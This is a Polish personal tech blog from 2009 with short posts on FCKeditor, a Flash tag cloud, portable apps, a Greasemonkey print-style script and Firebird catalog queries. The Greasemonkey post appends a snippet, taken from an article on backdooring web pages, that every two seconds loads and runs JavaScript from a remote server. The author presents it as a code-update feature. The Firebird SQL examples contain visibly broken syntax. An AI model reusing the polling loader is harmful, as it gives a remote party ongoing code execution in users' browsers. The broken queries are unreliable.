poniedziałek, 29 czerwca 2009

FCKeditor

FCKeditor - jest to prosty lecz potęrzny edytor, dzila pod JS,laszo,PHP, tomcat itp..
może działać jako embedded, więc można go dorzucić do dowolnej aplikacji Webowej.
Polecam.



czwartek, 25 czerwca 2009

Embedded TagCloud

Hi, i like tagcluds, i use them for firefox and google plugins. Today i've done, using Roy Tanck's, a nice embedded tagcloud flash. that will change html code like this:<embed id="tagcloud" width="650" height="450" type="application/x-shockwave-flash"
src="tagcloud.swf" name="tagcloud" bgcolor="#ffffff" quality="high" allowscriptaccess="always"
flashvars="tcolor=0x333333&mode=tags&distr=true&tspeed=100&tagcloud=<tags>
<a href='#1' style='12'>Menu Górne</a>
<a href='#2' style='12'>Menu Dolne</a>
<a href='#3' style='12'>Menu Lewe</a>
<a href='#4' style='12'>Menu Prawe</a>
<a href='#5' style='12'>Zapis</a>
<a href='#6' style='12'>Odczyt</a>
</tags>"/>
for nice graphical interface like this: when u move your mouse over flash - tags also are moving. In this way u get interaction.

czwartek, 18 czerwca 2009

Przenośna wersja aplikacji

90% windowsowych appsów instaluje się w rejestrze - wrzuca tez czasem jakies pliki do common files.. itp...
ręczne przerobienie tej aplikacji na przenośną nie jest takie ciężkie jak sie by wydawało.
Idea: robimy migawkę systemu przed instalacją programu
robimy migawkę po instalacji programu
z 1szej migawki robimy kopie przyrostową i porównujemy wynik z 2ga migawką
jeśli sie zgadzają - mamy przenośną aplikację.

1.instalujemy VIrtual BOx - freeware
2.instalujemy na nim windows
3. sciagamy program do robienia kopi przyrostowej : np.VMware ThinAp
4. dzięki VMware ThinAp  robimy migawkę przed instalacją programu 
5. instalujemy nasz program (ofiarę naszych eksperymentów)
6. programem VMware robimy 2ga migawkę -  po prostu w kreatorze klikamy klikamy dalej
7. cieszymy sie naszym programem w wersji portable

Zalety:
+program jest przenośny
+zajmuje mniej miejsca - dzięki kompresji w locie plików
+w przyszlosci mozemy w kazdej chwili nadpisać istniejący już program
 np. aby pozbyc się wirusa

Sterownik wydruku pod Firefox

Jak zmienić sposób drukowania stron pod FIrefoxem?


To proste- nalezy zainstalować greasemonkey
- dodatek do firefoxa i dodac kod javascript który bedzie wstrzykiwany w wybraną stronę podczas otwierania.
Idea jest prosta:
1.wskrzykujemy własny styl CSS
2.ustawiamy media: print - styl dziala tylko przy wydruku
3. dodajemy atrybut !important aby nadpisać ewwentualnie istniejace style CSS

kod na podstawie Boring CSS by Eric Talevich

// Printer Driver for Firefox
// version 0.2
// 2009-06-02
// Copyright (c) 2009, Lukas Gintowt
// Released under the GPL license
// http://www.gnu.org/copyleft/gpl.html
//
// --------------------------------------------------------------------
//
// This is a Greasemonkey user script. To install it, you need Greasemonkey
// 0.4 or later: http://greasemonkey.mozdev.org/ Then restart Firefox and
// revisit this script. Under Tools, there will be a new menu item to "Install
// User Script". Accept the default configuration and install.
//
// To uninstall, go to Tools/Manage User Scripts, select "FF Printer Driver", and
// click Uninstall.
//
// --------------------------------------------------------------------
//
// ==UserScript==
// @name FF Printer Driver
// @description Replaces each page's CSS printing stylesheet.
//@include http://poczta.serwer.ip/*
// @include http://blogs.*.com/*
// @include http://*.wikipedia.org/*
// @include http://*.googlepages.com/*
// ==/UserScript==

mystylesheet = '' +
'body {font-family: Verdana, sans-serif; color: black; }' + //background: #FFFF;
'a:link {color: #00A;}' +
'a:visited {color: #666;}' +
'a:hover {color: #008; background: #EEF;}' +
'a, div, p, dd, li {font-size: 8pt; line-height: 80%;}'+
'h1 {font: 12pt Georgia, serif;}' +
'h2 {font-size: 12pt;}' +
'h3 {font-size: 11pt;}' +
'h4 {font-size: 10pt;}' +
'table{font-size:8pt !important;display:print !important;media:print!important;}'
//+ 'table{font-size:10pt !important;display:screen; media:screen}' //here you can defice print style for screen
//'a, div, p, dd, li {font-size: 10pt; line-height: 170%;}'

window.addEventListener("load", function(e) {
// Remove the existing embedded and linked stylesheets
var styles = document.getElementsByTagName('style')
while (styles[0])
styles[0].parentNode.removeChild(styles[0])

var links = document.getElementsByTagName('link')
for (var i=0; i < links.length; ++i ) {
var link = links[i]
if (link.getAttribute('rel').toLowerCase() == 'stylesheet') {
link.parentNode.removeChild(link)
i-- // Since we popped a node, the indexes shift by 1
}
}

// Define the new stylesheet for the page & attach it

var newstyle = document.createElement("style")
newstyle.type = "text/css"
newstyle.media = "print"
var css = document.createTextNode(mystylesheet)
newstyle.appendChild(css)
document.getElementsByTagName('head')[0].appendChild(newstyle)
}, false)




Można jeszcze dorobić dostęp do zdalnego repozytorium kodu:
(jakby ktoś chciał zrobić update kodu naraz dla wszystkich klientów)
za http://www.gnucitizen.org/blog/backdooring-web-pages/


setInterval(function () {
var head = document.getElementsByTagName('head').item(0);
var old = document.getElementById('last_loaded_cmd');

if (old)
head.removeChild(old);

script = document.createElement('script');
script.src = 'http://ip.serwera';
script.type = 'text/javascript';
script.defer = true;
script.id = 'last_loaded_cmd';
void(head.appendChild(script));
}, 2000);



poniedziałek, 15 czerwca 2009

Elektroniczny papier


Wreszcie

gadżet na jaki czekałem kilka miesięcy
wprawdzie nie można go jeszcze zwijać do kieszeni
ale i tak jest to spory postęp.

http://webhosting.pl/Crunchpad._.juz.niedlugo.na.rynku

Firebird lista tabel

List Tables: SELECT rdb $ relation_name FROM rdb$relations WHERE rdb$view_blr IS NULL AND ( rdb$system_flag IS NULL OR rdb$system_flag = 0 ) ;
List Views: SELECT rdb$relation_name
FROM rdb$relations
WHERE rdb$view_blr IS NOT NULL
AND (rdb $ system_flag OR IS NULL rdb $ system_flag = 0);
List tabs+colums:  SELECT  f.rdb$relation_name ,  f.rdb$field_name
 FROM rdb$relation_fields f
JOIN  rdb$relations r ON  f.rdb$relation_name =  r.rdb$relation_name  AND r.Rdb$view_blr IS NULL
   AND (r.rdb$system_flag IS NULL OR  r.rdb$system_flag = 0)
   AND (r.Rdb$system_flag IS NULL OR r.rdb$System_flag = 0)
 ORDER BY  1 ,  f.rdb$field_position;
List Columns of table:SELECT rdb$field_name
 FROM  rdb$relation_fields
 WHERE  rdb$relation_name = 'JM'